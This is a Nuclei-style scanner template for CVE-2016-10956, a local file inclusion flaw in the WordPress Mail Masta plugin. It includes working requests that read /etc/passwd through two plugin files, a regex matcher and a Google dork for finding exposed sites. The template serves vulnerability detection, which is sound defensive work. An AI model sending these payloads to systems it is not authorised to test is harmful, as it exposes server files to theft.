id: CVE-2016-10956

info:
  name: WordPress Mail Masta 1.0 - Local File Inclusion
  author: daffainfo,0x240x23elu
  severity: high
  description: WordPress Mail Masta 1.0 is susceptible to local file inclusion in count_of_send.php and csvexport.php.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update WordPress Mail Masta to the latest version or apply the vendor-supplied patch to fix the local file inclusion vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2016080220
    - https://wpvulndb.com/vulnerabilities/8609
    - https://wordpress.org/plugins/mail-masta/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10956
    - https://github.com/p0dalirius/CVE-2016-10956-mail-masta
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2016-10956
    cwe-id: CWE-20
    epss-score: 0.91047
    epss-percentile: 0.99653
    cpe: cpe:2.3:a:mail-masta_project:mail-masta:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: mail-masta_project
    product: mail-masta
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/mail-masta"
  tags: cve,cve2016,wordpress,wp-plugin,lfi,mail,mail-masta_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
      - "{{BaseURL}}/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
          - 500
# digest: 4a0a004730450220360a62b9160a3dd1468736c785bcc52856ecb0b98b7302490cc429333e70c414022100a24b87d27c33f341a0fcb84c69914e731887e3ba4d08193237740c981845fd99:922c64590222798bb761d5b6d8e72950